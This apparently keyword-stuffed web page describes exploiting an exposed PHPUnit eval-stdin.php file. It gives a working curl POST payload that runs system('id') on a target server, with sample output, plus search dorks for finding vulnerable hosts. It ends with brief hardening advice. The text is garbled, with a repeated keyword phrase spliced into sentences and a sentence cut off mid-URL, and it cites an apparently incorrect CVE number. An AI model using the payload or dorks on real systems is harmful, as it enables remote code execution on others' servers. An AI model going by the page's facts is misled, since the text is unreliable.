Index Of Vendor — Phpunit Phpunit Src Util Php Evalstdinphp

They navigate to https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php .

They send a POST request with a malicious PHP payload in the body. For example: index of vendor phpunit phpunit src util php evalstdinphp

curl -X POST https://target.com/path/to/eval-stdin.php -d "<?php system('id'); ?>" The server evaluates system('id') and returns the output (e.g., uid=33(www-data) gid=33(www-data) ). They navigate to https://target

intitle:"index of" "eval-stdin.php" intitle:"index of" "vendor/phpunit" "parent directory" "eval-stdin.php" Nuclei has a specific template for this vulnerability: index of vendor phpunit phpunit src util php evalstdinphp

Never deploy your vendor folder blindly. Use composer install --no-dev for production. Remove phpunit from your live environment. And always, always turn off directory indexing. Your future self will thank you when your server isn't listed in Shodan as a victim of CVE-2017-9041.